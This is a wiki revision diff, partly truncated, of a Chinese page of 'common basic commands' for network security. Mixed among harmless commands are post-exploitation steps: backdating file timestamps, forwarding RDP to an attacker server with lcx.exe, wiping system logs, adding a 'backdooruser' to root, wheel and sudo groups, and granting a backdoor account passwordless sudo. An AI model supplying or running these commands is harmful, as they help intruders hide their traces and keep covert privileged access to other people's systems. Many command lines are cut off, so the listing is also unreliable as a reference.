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两侧同时换到之前的修订记录 前一修订版 后一修订版 | 前一修订版 | ||
网络安全:常用基本命令 [2017/07/22 09:49] YoCo Smart |
网络安全:常用基本命令 [2020/05/16 19:19] (当前版本) |
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行 2: | 行 2: | ||
< | < | ||
+ | |||
+ | === 非交互式修改密码 === | ||
+ | |||
+ | < | ||
+ | echo " | ||
+ | echo " | ||
+ | </ | ||
=== 压缩 === | === 压缩 === | ||
行 78: | 行 85: | ||
=== 历史记录 === | === 历史记录 === | ||
+ | |||
< | < | ||
cat / | cat / | ||
行 99: | 行 107: | ||
# | # | ||
touch -t yymmddhhmm | touch -t yymmddhhmm | ||
+ | touch -t 201203042109.02 / | ||
+ | </ | ||
+ | |||
+ | === 查看进程列表 === | ||
+ | |||
+ | < | ||
+ | |||
+ | === 杀死进程 === | ||
+ | |||
+ | < | ||
+ | |||
+ | === 查看硬盘使用情况 === | ||
+ | |||
+ | < | ||
+ | |||
+ | === 路由追踪 === | ||
+ | |||
+ | < | ||
+ | #Linux | ||
+ | traceroute www.google.com | ||
+ | #Windows | ||
+ | tracert www.google.com | ||
</ | </ | ||
行 121: | 行 151: | ||
# | # | ||
lcx.exe -s your-server-ip 3333 127.0.0.1 3389 | lcx.exe -s your-server-ip 3333 127.0.0.1 3389 | ||
+ | </ | ||
+ | |||
+ | === 日志清理 === | ||
+ | |||
+ | < | ||
+ | echo > / | ||
+ | echo > / | ||
+ | echo > / | ||
+ | echo > / | ||
+ | </ | ||
+ | |||
+ | === 统计文件夹大小 === | ||
+ | |||
+ | < | ||
+ | |||
+ | === Linux读取NTF共享 === | ||
+ | |||
+ | < | ||
+ | showmount -e x.x.x.x | ||
+ | / | ||
+ | mount -t nfs x.x.x.x:/ | ||
+ | </ | ||
+ | |||
+ | === 添加sudo用户 === | ||
+ | |||
+ | (添加一个uid为0的用户以后,更改这个uid为0的用户密码原root用户密码也会被更改,所以一般添加用户后为用户更改用户组,使用sudo执行命令) | ||
+ | < | ||
+ | usermod -a -G root backdooruser | ||
+ | usermod -a -G wheel backdooruser | ||
+ | usermod -a -G sudo backdooruser | ||
+ | </ | ||
+ | |||
+ | === 赋予用户sudo权限 === | ||
+ | |||
+ | < | ||
+ | # | ||
+ | backuser ALL=(ALL) ALL | ||
+ | # | ||
+ | %backuser ALL=(ALL) ALL | ||
+ | # | ||
+ | backuser ALL=(ALL) NOPASSWD: | ||
+ | # | ||
+ | %backuser ALL=(ALL) NOPASSWD: | ||
</ | </ | ||